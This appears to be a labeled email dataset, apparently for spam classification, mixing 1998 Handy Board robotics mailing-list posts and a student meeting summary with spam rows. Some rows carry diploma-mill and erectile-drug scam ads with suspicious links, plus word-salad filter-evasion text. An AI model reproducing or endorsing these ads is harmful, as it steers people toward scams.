week,"Hi friend: Obtain a prosperous future, money earning power Get a diploma based on your experience Call now to receive diploma in 2 weeks 1-206-984-3376 (Call 24hrs, 7 days a week, we welcome applicant from all countries If you are outside USA please add country code before the number) ",1,0 Robert Pitts ,info@gso.bu.edu,"Fri, 09 Oct 1998 18:36:46 -0400","GSO - summary of Thu, Oct 8, 98 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next meeting will be on Thursday, October 22nd, 5-6:15pm. --Rob Summary ======= 1. Committee Reports Each committee reported on their activities. Funding Committee ================= Byron Shock reported for this committee on their goals and projects: 1a) Researching pay rates at local schools. 1b) Determining cost of living formula for Boston area. 1c) Compiling and informing people of funding opportunities for grad students. 2) ""Dealing"" with the administration to improve the funding situation at BU. Each member has chosen a local university at which to start researching the funding situation. Healthcare Committee ==================== Rob Pitts reported for this committee on their goals and projects: 1) Inform grads about healthcare choices. 2) Research ways to improve grad healthcare. 3) Maintain a reasonable presence at healthcare forums. The primary activity of the committee (goal #1) is to add to our web repository more information about healthcare plans available to grads. The committee also wants to augment the repository with information about insurance terminology (""a glossary""), laws/legislation affecting healthcare, and services like counseling, vaccinations, etc. Secondarily, the group will discuss improving healthcare plans with other grad orgs who have succeeded in this area (goal #2). In addition, they'd like to represent students' interests at things like ""a Chickering talk"" (goal #3). ---- Currently, 3 members are working on health plan writeups (2 are alternative healthcare plans, the other is the student plan at a local university, for comparison purposes). The 4th member is gathering a list of ""insurance plans"" that are available to students. ---- One meeting participant suggested looking into whether Chickering offers ""million-dollar"" extended insurance. Housing Committee ================= Catherine Cappuzzi reported for this committee, which now has 2 members. Their projects will be: - Asking if the Office of Off-campus Housing can provide some way for new students to access the BU apartment listings. - Asking BU if they can also offer the Oct-Jan T semester pass deal while still keeping the Sep-Dec pass deal. - Information about ""grad"" housing on campus. - Expand on areas already on the GSO's housing pages. - Lists of realtors with either discounts to BU affiliates or with low or no fees. They are focusing on improving housing information for new students and are very interested in making the housing pages more visible. ---- A meeting attendee suggested getting each department to link to the GSO page. This is something the group has asked students to try to do in the past, but we are not sure how many depts. now have links to the GSO pages. Liaison Committee ================= Gary Garber reported on this committee's activities. They believe they need one additional member. The only word they've heard on the grad student lounge is that the proposed lounge now has a ID-card reader. No word on improving library privileges for grad students. ---- They have learned that Engineering's grad group gets some funding from a student fee, thus giving us a precedent at BU for possibly doing something similar. ---- They said they'd like to know what other questions students have for the administration. They feel that if they have more to talk to our contact about, they could perhaps establish regularly-scheduled meetings with them. Social Committee ================ Jen Wenner reported for this committee. Currently, they are understaffed with only 2 members, and thus, are concentrating on pub and movie nights. If they get more members, they can start to organize talks and other activities. For future Pub Nights, they believe they will have ""Pub Night"" cards on tables plus optional nametags, both in order to make the area of the pub where Pub Night takes place more visible (as suggested at the last meeting). For Movie Nights, they are considering the last Wednesday of each month as its schedule. Steering Committee ================== Dave Morgan reported on the goals of this committee. A primary issue is what kind of organization the GSO will be and how it will relate to the BU administration. In addition, they will be working on a constitution, including the details of officers, elections, etc., and reviewing the pros/cons of registering the GSO with the university (as an official group). ====== A meeting attendee suggested that we should try to meet with the Board of Trustees. According to the ""Daily Free Press"" (Oct. 6, Page 1), the Trustees have sought to meet with the Undergraduate Student Union--one issue being how to increase funding for student groups. The paper suggests that Oct. 17th might be when that meeting would happen. 2. NAGPS Conference Rob Pitts gave us more details about the National Conference of the National Assoc. of Graduate-Professional Students (NAGPS) and how we can participate. The conference will be held at the Braintree Sheraton Tara Hotel, Nov. 18-22. The information below is based on his meeting with NAGPS Secretary, Tony Rosati (reported about at this meeting) and includes ""updated"" information from a meeting (Oct. 9) with NAGPS Exec. Dir. Kevin Boyer. Kevin expects about 60-65 schools to attend this conference with perhaps 25 local students and about 130+ out-of-town students. The conference will have 6 different session ""tracks"" on: - Developing grad student groups. - Good grad group ""programs"". - Post-grad employment. - Diversity. - Legislation. - TAs/student employees/unions. Most of the information sessions are on Thursday and Friday. Volunteering ------------ The NAGPS mainly needs volunteers for Wed/Thu (stuffing tote bags, preregistration, and registration). Volunteering would be for about 2 hours per person. Those that volunteer on those days would be able to attend Thursday's non-meal activities free, and possibly the reception. They also need volunteers to take people in groups of 15 or less out on the town (various activities). We may be able to attend other conference functions if we volunteer for this. Day Rates --------- We can attend both Thursday AND Friday (including meals, except the Awards Dinner) for $75/person. Otherwise, day rates are $30-$50 per day per person. ---- For more information on the conference schedule, go to the NAGPS site (http://www.nagps.org/NAGPS), choose ""Conferences"", then ""13th National Conference"", then ""Event Schedule"". 3. Funding Security/Job Placement An instructor from English brought up the issue of job security (because of this we deferred the topic of ""Departmental Participation in the GSO"" until another time). The following issues were brought up: - There are not always guarantees of funding. I.e., sometimes students do not get funding that advisors told them they could expect. Plus, there are not always a lot of funding opportunities in certain departments. - Departments need to do a better job of preparing students for the work force. Meeting attendees agreed that the first was an issue relevant to the Funding Committee, but were not sure how to address the second issue. The instructor felt that some issues concerning ""funding students"" or soon-to-graduate students are also relevant to part-time instructors (e.g., grad students sometimes end up being part-time instructors before or after graduation).",0,1 Charmaine ,handyboard@media.mit.edu,"Fri, 09 Oct 1998 14:55:45 -0500",Re. Application# 94110514445 approval," set modern resource http://69xanthation.info >> our nwjh 238312 neither...nor ifreg riterium ",1,1 Cleveland ,"handyboard@media.mit.edu, josefa@media.mit.edu","Sat, 10 Oct 1998 05:02:12 +0300",First time Carol,"You don't need to talk to a doctor to get the sexual help that you need. Have a look here. We sell all of the most popular erectile dysfunction medication at literally 1/5th the cost. If you buy medication to enhance erections now, you really should check out: http://arccos7ldwd1u1cluczpp0upp0cppp.therterhk.com/ We back our medications up with a full 45-day guarantee. If you are not 100% satisified, we will refund you no questions asked. Sincerely, Cleveland Customer Service Team ",1,1 n8008@ldd.net,Handyboard ,"Sat, 10 Oct 1998 01:47:49 -0500",Fred's book,"Is Fred's book still coming out this fall? ",0,0 John Atkinson ,,"Sat, 10 Oct 1998 19:49:25 -0400",,"Dear HandBoard list's Members> I am using your Handy Board and I have some questions: 1) I have been trying to use the infrared subsystem. However, i have got some problems. First I load the ""sony-ir.icb"" and my single program which looks like this: main() { ... sony_init(1); while (1) if (cod=ir_data(999)!=0) printf(""Code from SONY remote control: %d\\n"",cod); } Next, when I run this program in the HB, it receives the signal from the sony RC however, BUT it only receive yes or no (i mean: pressed or not pressed, 1 if pressed or nothing) My question is: How can i get/receive the specific code sent by the RC?? or what is wrong with my sample program?? 2) Can i connect more then one infrared receiver?, if yes, How? 3) The HB has special routines for conrolling ONE servo-motor. If i get more servo/motors, could i control them by using other analog ports? if yes, How?. 4) The HB provides an infrared output, however, in the HB technical reference you say ""the output circuit requires an external infrared LED"" (page 23). you mean that using the current facility is not enough to operate? where should be the ""external infrared LED"" connected to? to same analog port or is it more complicated?? Thank you, John ---------------------------------------------------------------------- John A. Atkinson-Abutridy Assistant Professor Departamento de Ingenieria Informatica Universidad de Concepcion email: atkinson@inf.udec.cl URL: http://wwww.inf.udec.cl/~atkinson ",0,1 Max Davies ,"John Atkinson , handyboard@media.mit.edu","Sat, 10 Oct 1998 19:59:32 -0400",Re: Infrared I/O,"I have done a lot of work in the area of infrared I/O for the Handyboard. My software at http://WWW.CAM.ORG/~mdavies/HB/ir.htm will let you send and recieve codes for a wide variety of remotes. ",0,1 """Terry P. Gathright"" <669@worldnet.att.net>",handyboard@media.mit.edu,"Sun, 11 Oct 1998 21:14:16 -0500",cannot communicate,"Hello All, My handy board will not communicate with the host computer. When I connect the phone cable the charge led#14 lights bright, and resistor #r11 gets real hot. I have a v2x compass on the robot and program already loaded and it works ok. Any help would be appreciated . Thanks in advance Terry P. Gathright 669@worldnet.att.net ",0,0 """Fred G. Martin"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Mon, 12 Oct 1998 09:57:05 -0400",Re: cannot communicate ,"you are using the wrong kind of RJ11 cable. See the FAQ question http://el.www.media.mit.edu/projects/handy-board/faq/index.html#rj11 under the heading ""The R11 on my Interface/Charger board is smoking hot and is turning black! What is wrong?"" Always check the FAQ, there is a lot of good stuff in there, Fred In your message you said: > Hello All, > > My handy board will not communicate with the host computer. > When I connect the phone cable the charge led#14 lights bright, and > resistor #r11 gets real hot. > > I have a v2x compass on the robot and program already loaded and it works > ok. > > Any help would be appreciated . > > Thanks in advan ce > Terry P. Gathright > 669@worldnet.att.net > ",0,1 """Mohd Syah Nazzir B. Muslim"" ",handyboard@media.mit.edu,"Tue, 13 Oct 1998 01:33:57 +0800",My address blues...,"Hi all, I am here to tell you that you should love your Handy Board for it to love you and stop giving you problems... and I feel love is all around...juz kissed my HB... But alas, my HB has stopped lovin me...well, its not really that bad, because it still works for me. Except that I have made myself 8 digital outputs by using the 374 chip on-board and tapping the digital outputs of the 374 for my project. This is my first 8 digital outputs. The next 8 digital outputs I decided to tap the wiring from the previous 374 chip to another 374 chip on another board I made. But the clock of the second chip I used Y0 of the expansion slot. The problem is; to manipulate the first 374 chip digital output, I knew that address 0x0e is used. This is for range $7000-$7fff. What does these mean anyway? And for me to manipulate the 2nd digital outputs from the second 374 chip, what address should I use? And can anyone tell me what it means by the range is $4000-$4fff. Thanking everybody in advance, thank you... SYAH",0,0 Jaron Paludanus ,HandyBoard ,"Mon, 12 Oct 1998 19:50:28 +0200",Improving the analog drivers,"Hoi, I have been playing around with the Chuck McManis (Thanks!) code for the HandyBoard. Everything compiled quite easily on my COSMIC compiler. (Isn't there a small bug in the LCD driver, I had to remove an = sign). I have (almost?) finished a more detailed port in which I re-placed the compiler specific options and settings with the ones needed for COSMIC. I also changed most integers to characters to save some cycles. I use two shaft encoders to measure wheel velocity. I created a simple shaft encoding routine which work fine but implement the 32 cycle wait before accessing the appropriate result registers. Since this routine runs 1000 Hz for 2 encoders this implies a waste of 32 * 2 * 1000 = 64000 cycles. Reading the pink book (chapter 12 page 14) I found the continues scan mode. Wouldn't it be much faster to use this for the shaft encoding routines? I will lose the 64000 cycle wait since the registers can then be expected to carry the most recent value. The cost is that there are only 4 analog inputs continuously read but while moving the robot it won't use more anyway. By carefully arranging the sensors it will not be a problem. Otherwise I might just write an interrupt-routine to change the scanned registers every so often and store the results in 8 variables representing the analog ports. Has anybody experiences with this (continues scanning mode)? Is somebody good in quickly estimating the amount of cycles needed for one or both option(s) and say if the idea is crap? If there is an interest in the ported (or other) code let me know... Groetjes, Jaron Paludanus ",0,0 Jaron Paludanus ,HandyBoard ,"Mon, 12 Oct 1998 19:57:08 +0200",The HandyBoard Mailing List,"Howdy Fred and all others, I still enjoy the HandyBoard mailing-list a lot. So much that I would like some easier way to use it. Is there a reason this group is not on a news server (too)? In my humble opinion this would allow faster responses. And with it strengthen the bond between handyboarders worldwide. At the cost of flames and spam though. Groetjes, Jaron Paludanus, Hilversum, The Netherlands, jaron@cybercomm.nl ",0,0 Eric Noyau ,handyboard@media.mit.edu,"Mon, 12 Oct 1998 10:54:58 -0700",Recommendation for LEGO set," Hi all, I'm looking for a recommendation on a LEGO set to buy for use with my Handy Board. I'm looking for a set with a reasonable number of pieces, gears, wheel and stuff to build a simple robot. I already have some motors and micro switches, I just need to build a chassis to support my ""creation"". Also, how do you interface a random DC motor with the LEGO gears? Can I just take one small gear and glue/epoxy it in place on the motor output? Is there another trick I should know about? (Sorry for the stupid questions, but I've never played/used LEGO before, unless you count playing DUPLO with the kids...) What set are you using? Thanks, -- Eric ",0,0 """Fred G. Martin"" ",Jaron Paludanus ,"Mon, 12 Oct 1998 18:40:30 -0400",Re: The HandyBoard Mailing List ,"i don't think the volume justifies a news-feed. also i prefer the subscription based model. regards, fred In your message you said: > Howdy Fred and all others, > > I still enjoy the HandyBoard mailing-list a lot. > So much that I would like some easier way to use it. > Is there a reason this group is not on a news server (too)? > In my humble opinion this would allow faster responses. > And with it strengthen the bond between handyboarders worldwide. > At the cost of flames and spam though. > > Groetjes, > Jaron Paludanus, > Hilversum, > The Netherlands, > jaron@cybercomm.nl > > > ",0,0 Lesly Partlow ,ggilfoyl@facstaff.richmond.edu,"Mon, 12 Oct 1998 20:44:20 -0500",Good Products,"and cascade on bedspring be dysentery some bloodhound it's sixth ",1,0 Jaron Paludanus ,"""Fred G. Martin"" ","Tue, 13 Oct 1998 08:42:14 +0200",RE: The HandyBoard Mailing List ,"Won't a news group boost the volume a bit? I sometimes have to wait 2 days before seeing my own message appear in de list... Which does not tempt to use it a lot. jaron -----Original Message----- From: Fred G. Martin [mailto:fredm@media.mit.edu] Sent: dinsdag 13 oktober 1998 0:41 To: Jaron Paludanus Cc: HandyBoard Subject: Re: The HandyBoard Mailing List i don't think the volume justifies a news-feed. also i prefer the subscription based model. regards, fred In your message you said: > Howdy Fred and all others, > > I still enjoy the HandyBoard mailing-list a lot. > So much that I would like some easier way to use it. > Is there a reason this group is not on a news server (too)? > In my humble opinion this would allow faster responses. > And with it strengthen the bond between handyboarders worldwide. > At the cost of flames and spam though. > > Groetjes, > Jaron Paludanus, > Hilversum, > The Netherlands, > jaron@cybercomm.nl > > > ",0,0 klturner@elko-nv.com,handyboard@media.mit.edu,"Mon, 12 Oct 1998 23:59:46 -0700",Inconsistent startup,"I'm trying to get a minimal 68hc11 board to run in single chip mode. After I download the code and switch to run mode, pushing reset works fine. The problem is when a startup in run mode, this Line of text comes up in my terminal emulator. ""BUFFALO 3.2 (int) - Bit User Fast Friendly Aid To Logical Operation"" It usually takes 3 resets to get my program to run. How do I get the MCU to run my program at startup? One other Question. What directive do I need to use for the as11 assembler to recognize values as data and not generate an error? Thanks. Kevin Turner klturner@elko-nv.com ""You'll never have enough time, money, or memory."" ",0,0 John Hatton ,"'Jaron Paludanus' , 'Handyboard Mailing List' ","Tue, 13 Oct 1998 09:14:19 +0100",RE: The HandyBoard Mailing List ," Unless Fred knows any different and 2 days is an accurate time I would suggest changing your ISP as I have always received the mailing list copy of any messages that I have sent within 30 minutes of being sent. Also a news group would require this part of internet access whereas most people have access to email (mine is at work so reading emails is allowed but internet access is restricted) not every body would want to or be able to access a news group. So in my opinion the mailing list is better, and we hardly ever get junk mail (I don't remember seeing any within the last year). John >---------- >From: Jaron Paludanus[SMTP:jaron@cybercomm.nl] >Sent: 13 October 1998 07:42 >To: Fred G. Martin >Cc: HandyBoard >Subject: RE: The HandyBoard Mailing List > >Won't a news group boost the volume a bit? >I sometimes have to wait 2 days before seeing my own message appear in de >list... >Which does not tempt to use it a lot. > >jaron > >-----Original Message----- >From: Fred G. Martin [mailto:fredm@media.mit.edu] >Sent: dinsdag 13 oktober 1998 0:41 >To: Jaron Paludanus >Cc: HandyBoard >Subject: Re: The HandyBoard Mailing List > >i don't think the volume justifies a news-feed. > >also i prefer the subscription based model. > >regards, >fred > > >In your message you said: >> Howdy Fred and all others, >> >> I still enjoy the HandyBoard mailing-list a lot. >> So much that I would like some easier way to use it. >> Is there a reason this group is not on a news server (too)? >> In my humble opinion this would allow faster responses. >> And with it strengthen the bond between handyboarders worldwide. >> At the cost of flames and spam though. >> >> Groetjes, >> Jaron Paludanus, >> Hilversum, >> The Netherlands, >> jaron@cybercomm.nl >> >> >> > > > ",0,0 peschansc ,handyboard@media.mit.edu,,"You have a big heart but a small penis,",Your dick Iooks ]1ke from a d0ll w0rld? Change 1ts sizes w1th Penis Enlarge Patch. http://www.haswer.net/pt/?51&xVUgrV,1,1 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 13 Oct 1998 09:54:18 -0400",Mailing list advantages,"Fred, I agree...There is no need to go to a newsgroup. I prefer the mailing list. Here are some reasons why: 1) No spam! Yeah!!!! 2) You don't get alot of lurkers who occasionally spout off just to critisize (sp?) someone's difficulty with the english language or other un-related issues. 3) These messages tend to stay Very focused. 4) Fred has alot of control over the list users (to keep out blatently commercial hawkers, the bad ones anyway...) 5) the list is easier for me to get on than a newsgroup. If there is a newsgroup that I want, and it isn't already in the newsgroup list, I have to ask my ISP to add it and it often takes a Loooooong time till I get access. 6) With a decent email program (Try Eudora Pro), you can get all these messages saved into a certain folder. 7) This list was started by Fred and he is nice enough to be answering questions. So, he can do it whichever way he feels most comfortable. It's his show. ",0,0 GDFRITZ@aol.com,jaron@cybercomm.nl,"Tue, 13 Oct 1998 11:44:42 -0400",Re: Mailing list advantages,"Jaron, No offense taken here...I was just voting my support for Fred, no matter what he wants to do. I think he is an incredibly generous guy to answer my dumb newbie questions. :) I also subscribe to several newsgroups for hypothisizing (sp?): comp.arch.embedded comp.robotics.misc sci.electronics.design sci.engr.control hope this helps, Gerald. ",0,0 Vicente ,"handyboard@media.mit.edu, shelly@media.mit.edu, colleen@media.mit.edu, luisa@media.mit.edu, estelle@media.mit.edu, pedro@media.mit.edu, mallory@media.mit.edu, adrian@media.mit.edu","Tue, 13 Oct 1998 11:46:37 -0100",best prices for impotence drugs Alfreda ,"What we are referring to of course is the wonderful ""blue pill"" for erection difficulties everyone is talking about. We not only carry it, but we do at 1.56 cents each. Take a peek at: http://byo2cduib0t2btg6ozbooht6oo.tritaphki.com/ Enjoy! Sincerely, Vicente Customer Service Team grief you earnest me, balsam . jason you audio me, parkway carnage confirm tensor . entomology you expository me, spectrogram . symptom you boulder me, yond dorado . mcmullen you bluish me, burlap backplane bend . http://byo2cduib0t2btg6ozbooht6oo.tritaphki.com/begrudge ",1,1 1177 ,John Hatton ,"Tue, 13 Oct 1998 11:50:42 -0500",RE: The HandyBoard Mailing Lst," > Unless Fred knows any different and 2 days is an accurate time I would > suggest changing your ISP as I have always received the mailing list > copy of any messages that I have sent within 30 minutes of being sent. > Also a news group would require this part of internet access whereas > most people have access to email (mine is at work so reading emails is > allowed but internet access is restricted) not every body would want to > or be able to access a news group. So in my opinion the mailing list is > better, and we hardly ever get junk mail (I don't remember seeing any > within the last year). The junk mail part is true, but I'm not sure how true it is that you need Internet access to read newsgroup. You see, the dialup is regulated by a server computer. This computer has different accessible ports. One of them is the email port. Another one is the news port, which is port 119. So, any thing with an email port should have a news port. Then news reader does NOT do any transfer like HTTP (which would be internet). Rather, it acts like an email client and connects to the server the same way an email program does, just on a diffrent port. Heck, I think that even the protocols are similar! ---phil thehahns@netwurx.net > John > > >---------- > >From: Jaron Paludanus[SMTP:jaron@cybercomm.nl] > >Sent: 13 October 1998 07:42 > >To: Fred G. Martin > >Cc: HandyBoard > >Subject: RE: The HandyBoard Mailing List > > > >Won't a news group boost the volume a bit? > >I sometimes have to wait 2 days before seeing my own message appear in de > >list... > >Which does not tempt to use it a lot. > > > >jaron > > > >-----Original Message----- > >From: Fred G. Martin [mailto:fredm@media.mit.edu] > >Sent: dinsdag 13 oktober 1998 0:41 > >To: Jaron Paludanus > >Cc: HandyBoard > >Subject: Re: The HandyBoard Mailing List > > > >i don't think the volume justifies a news-feed. > > > >also i prefer the subscription based model. > > > >regards, > >fred > > > > > >In your message you said: > >> Howdy Fred and all others, > >> > >> I still enjoy the HandyBoard mailing-list a lot. > >> So much that I would like some easier way to use it. > >> Is there a reason this group is not on a news server (too)? > >> In my humble opinion this would allow faster responses. > >> And with it strengthen the bond between handyboarders worldwide. > >> At the cost of flames and spam though. > >> > >> Groetjes, > >> Jaron Paludanus, > >> Hilversum, > >> The Netherlands, > >> jaron@cybercomm.nl > >> > >> > >> > > > > > > > ",0,0 Will ,Handyboard Mailing List ,"Tue, 13 Oct 1998 11:25:20 -0600",Re: Recommendation for LEGO set,"Eric Noyau wrote: > I'm looking for a recommendation on a LEGO set to buy for use with my Handy Board. I'm looking for a set with a reasonable number of pieces, gears, wheel and stuff to build a simple robot. I already have some motors and micro switches, I just need to build a chassis to support my ""creation"". Looking through the Lego Shop-At-Home catalog (1-800-453-4652), it looks like the best deal for a starter robotics kit would be the Universal Set with Storage Case (#8062) for $68. Not that you would need the case, but it has a bunch of general purpose pieces, an assortment of gears and pulleys, and six medium-sized wheels. The second-best would be the Giant Model Set (#8277) for $44. It has the very useful longer beams, but it has smaller wheels and few gears. The Gears & Differentials assortment (#5229) can be added for $4.50. BTW, the Mini Motor (#5225) for $17.50 is a compact, efficient gear motor that runs well directly off the HB. Shipping is free. (Note: I don't get any kind of kickback from Lego--I'm just a big fan). > Also, how do you interface a random DC motor with the LEGO gears? Can I just take one small gear and glue/epoxy it in place on the motor output? Is there another trick I should know about? (Sorry for the stupid questions, but I've never played/used LEGO before, unless you count playing DUPLO with the kids...) The Lego gears are designed to press-fit onto the plastic Lego shafts, which have a ""+"" cross-section. To fit 'em to a round shaft, try gluing a short section of shaft into the gear first (with epoxy?), then drilling the appropriate size hole through the shaft. If you glue a Lego bushing onto the assembly before drilling, you might be able to drill and tap a hole for a tiny set screw, too. > What set are you using? I'm using a bunch of sets that I've been collecting for years. The big one was the pneumatic claw rig for about $120, but I don't think they sell it anymore. It came with a motorized air compressor for the pneumatics! No matter how many sets I have, I still drool over the catalogs. If I didn't already have the HB, I would save up my meager research assistant stipend to buy the Lego Mindstorms kit. Hope this helps. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's a fine line between fishing and Will Bain, just standing on the shore like an idiot. & Tatoosh --Steven Wright ",0,0 Francois Garancher ,handyboard@media.mit.edu,"Tue, 13 Oct 1998 20:47:51 +0000",Vector2X and motors,"Hy, I just read the compass.asm file. I don't know very much about assembly langage, but it seems that some of the motor commands are used in it. Can I still use the 4 (or a least 2) motors outputs to drive motors while using the compass. Are there any limitations induced by the use of this programm? Thanks ",0,0 Tom Brusehaver ,zcees34@ucl.ac.uk,"Tue, 13 Oct 1998 15:06:53 -0500",Re: Vector2X and motors," >I just read the compass.asm file. I don't know very much about assembly >langage, but it seems that some of the motor commands are used in it. >Can I still use the 4 (or a least 2) motors outputs to drive motors while >using the compass. >Are there any limitations induced by the use of this programm? I wrote the compass routines, and needed at least 2 outputs. The motors were the most convenient places to get output. I am just wondering if someone else has fixed the byte swapping problem? Every once in a while the results are byte swapped. I started looking at it last night, and nothing seems to make sense?? ",0,0 brett anthony ,handyboard@media.mit.edu,"Tue, 13 Oct 1998 13:10:53 -0700",RE: Mailing List,"I would prefer to keeep the present system. Eudora Light (freeware) also allows you to categorize the messages. I realize that people who are stuck with the AOL mail client don't have that luxury. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 Kris Pelley ,handyboard@media.mit.edu,"Tue, 13 Oct 1998 15:12:40 -0500",Parts Question," Hello. I don't know if it's proper to introduce yourself on this list or not, so I'll just say I'm new here, and new to electronics in general. Lego Mindstorms came out and got me interested, but I decided I wanted a more hands on experience. Anyway, quick questions about parts. The list says it wants 0.1uF monolithic caps, with Digikey part #P4917-ND. I couldn't find this part in the catalog, and I think I had problems ordering something similar for building a miniboard. Part #P4923-ND is an 0.1uF mono cap, but it says it's 50v. Is this what's needed, or do I need a lower or higher voltage? Also, a bridge rectifier with part #DB101-ND is called for. In the catalog I found part #DB101DI-ND. Is this acceptable? Thanks in advance. Kris ",0,0 Lou Holley ,"handyboard@media.mit.edu, lynn@media.mit.edu, millie@media.mit.edu, hallie@media.mit.edu, philip@media.mit.edu, tara@media.mit.edu","Tue, 13 Oct 1998 13:25:10 -0500",putting lot of stress?,"see improvisate some bounce may beep ! christoffel some colorimeter ",1,0 """Joe Mari J. Maja"" ","""Fred G. Martin"" ","Wed, 14 Oct 1998 08:22:49 +0900",parts,"Fred, Is there a store that sell all the parts for the HB (I mean in one package)? joema ",0,0 """Fred G. Martin"" ","""Joe Mari J. Maja"" ","Tue, 13 Oct 1998 19:30:49 -0400",Re: parts ,"the handy board vendor list is at http://el.www.media.mit.edu/projects/handy-board/howtoget/vendors.html please see the information on this page, and contact the vendors directly regarding their offerings. fred In your message you said: > Fred, > > Is there a store that sell all the parts for the HB (I mean in one > package)? > > joema > > ",0,1 Phil ,"brett anthony , handyboard@media.mit.edu","Tue, 13 Oct 1998 19:02:06 -0500",Re: Mailing List,">I would prefer to keeep the present system. Eudora Light (freeware) also >allows you to categorize the messages. I realize that people who are stuck >with the AOL mail client don't have that luxury. Ja, but AOL mail is a POP account, meaning that they can check it using Eudora Light, Outlook Express, etc. --phil ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","""Fred G. Martin"" ","Tue, 13 Oct 1998 19:11:48 -0500",Re: cannot communicate ,"Hi All, Thanks a lot for the help. I just dont know what we would do without this mail list!! All you need is a little direction when things are going wrong. I had switched cables from my 6.270 board. THANKS A MILLION GUYS. Choo, The v2x compass is great,I can't write code very well as of now but I have it reading the compass following instructions from it. Thanks to Tom Bruesehaver for his work. It still ""hangs up"" every now and then reading 0's but there are instructions how to fix. See arcives at 5-12-97 and 5-19-97. Please let me know if I can help. ---------- > From: Fred G. Martin > To: Terry P. Gathright <669@worldnet.att.net> > Cc: handyboard@media.mit.edu > Subject: Re: cannot communicate > Date: Monday, October 12, 1998 8:57 AM > > you are using the wrong kind of RJ11 cable. See the FAQ question > > http://el.www.media.mit.edu/projects/handy-board/faq/index.html#rj11 > > under the heading ""The R11 on my Interface/Charger board is smoking > hot and is turning black! What is wrong?"" > > Always check the FAQ, there is a lot of good stuff in there, > Fred > > In your message you said: > > Hello All, > > > > My handy board will not communicate with the host computer. > > When I connect the phone cable the charge led#14 lights bright, and > > resistor #r11 gets real hot. > > > > I have a v2x compass on the robot and program already loaded and it works > > ok. > > > > Any help would be appreciated . > > > > Thanks in advan > ce > > Terry P. > Gathright > > > 669@worldnet.att.net > >",0,1 Mazhar ,"Handy Board Mailing List , Phil ","Sat, 31 Oct 1998 19:21:13 -0700",Re: Mailing List,"I used to work at AOL technical support, I would be very much interested if you could figure out how to use AOL as a POP3, AOL is NOT a POP3 server. AOL is very proprietery, one of the many reasons (and doesn't support DUN - dial-up networking) that AOL isn't very good. One thing that you can do, which is still very unacceptable, is to go to www.aol.com and follow the links for AOL Netmail, you can use this rather pathetic feature to check your mail w/o having your AOL software loaded on the machine. This BTW doesn't support NT 4.0. -----Original Message----- From: Phil To: brett anthony ; handyboard@media.mit.edu Date: Tuesday, October 13, 1998 11:02 PM Subject: Re: Mailing List >>I would prefer to keeep the present system. Eudora Light (freeware) also >>allows you to categorize the messages. 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[was: RE: The HandyBoard Mailing Lst],"On Tue, 13 Oct 1998, 1177 wrote: > The junk mail part is true, but I'm not sure how true it is that you need > Internet access to read newsgroup. You see, the dialup is regulated by a > server computer. This computer has different accessible ports. One of them > is the email port. Another one is the news port, which is port 119. So, > any thing with an email port should have a news port. Then news reader > does NOT do any transfer like HTTP (which would be internet). Rather, it > acts like an email client and connects to the server the same way an email > program does, just on a diffrent port. Heck, I think that even the > protocols are similar! Erm... not quite. I much prefer an email based distribution. I don't access the net interactively that often. I just queue up my mail, and my computer autonomously purges each evening while I sleep. If the handyboard list were a newsfeed, I would be required, at the very least, to set up yet another process that bulk acquires the latest postings, as well as my mail. Worse case, I would have to bring up an interactive session and tie up my phone line to access the latest HB postings. Thank you, no. just my (010)b cents. -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org ",0,1 Wong Sy Ming ,r.farnhill@bssl.co.uk,"Thu, 15 Oct 1998 20:06:21 +0800",Re: HandyBoard LCD Module,"Try Farnell order code 325-351. It's more expensive than it has to be, though. r.farnhill@bssl.co.uk wrote: > Hi all. > > Does anyone know of any compatible HandyBoard LCD modules sold through > R.S. Components or Farnell (or anywhere in U.K. ) as i can't seem to find > the LCD listed in the parts list. > > Cheers Russ.... ",0,0 har ,r.farnhill@bssl.co.uk,"Thu, 15 Oct 1998 14:58:57 +0200",Re: HandyBoard LCD Module,"Hi, any LCD Display 2*16 with a Hitachi HD44780 Controller will do. There are several retailers. But I do not know about the UK. Batron, Rohm (the HB original) are just two producers of LCD Displays. I needed some LCD's (same as on HB) myself and ordered them from Rohm (http://www.rohm.com/overview/europe.html). Bye Tom r.farnhill@bssl.co.uk wrote: > Hi all. > > Does anyone know of any compatible HandyBoard LCD modules sold through > R.S. Components or Farnell (or anywhere in U.K. ) as i can't seem to find > the LCD listed in the parts list. > > Cheers Russ.... ",0,1 DjKOz97@aol.com,handyboard@media.mit.edu,"Thu, 15 Oct 1998 10:14:54 -0400",Vector 2X,"After reading the Vector 2X Manual a couple of times, it seems that the SDI pin (Serial Data In) has no function. It is even stated in the manual that this pin is never connected. If this is the case, couldn't we use the MISO pin from the HandyBoard to control the P/C pin on the compass? This would free up the motor output. I'm not that familiar with the 6811 SPI, so I don't know if this would make sense? (What data would the HB be transmitting to the V2X anyway?) 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Thank you. john calhoun- ",0,0 ,,,,"] helo=swabby.mail.desty.org) by smtp2.desty.org with esmtp id 7A587j-0831FN-00; Thu, 15 Oct 1998 14:40:34 -0600 Message-Id: Sender: hzgprmxohizuhj@ecommuse.com Date: Fri, 16 Oct 1998 01:38:34 +0500 In-Reply-To: Your message of ""TThu, 15 Oct 1998 15:40:34 -0500."" <20031002150239.GG32185@asuka.tech.sitadelle.com> From: ""Jerald Carson"" To: handyboard@media.mit.edu Subject: problems -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://emeraldcoastinternetservices.info riot trackage coddle quintet by garish latvia coloratura sutton guildhall bruno synchrony junco soar allis scar layman marinade godkin leone 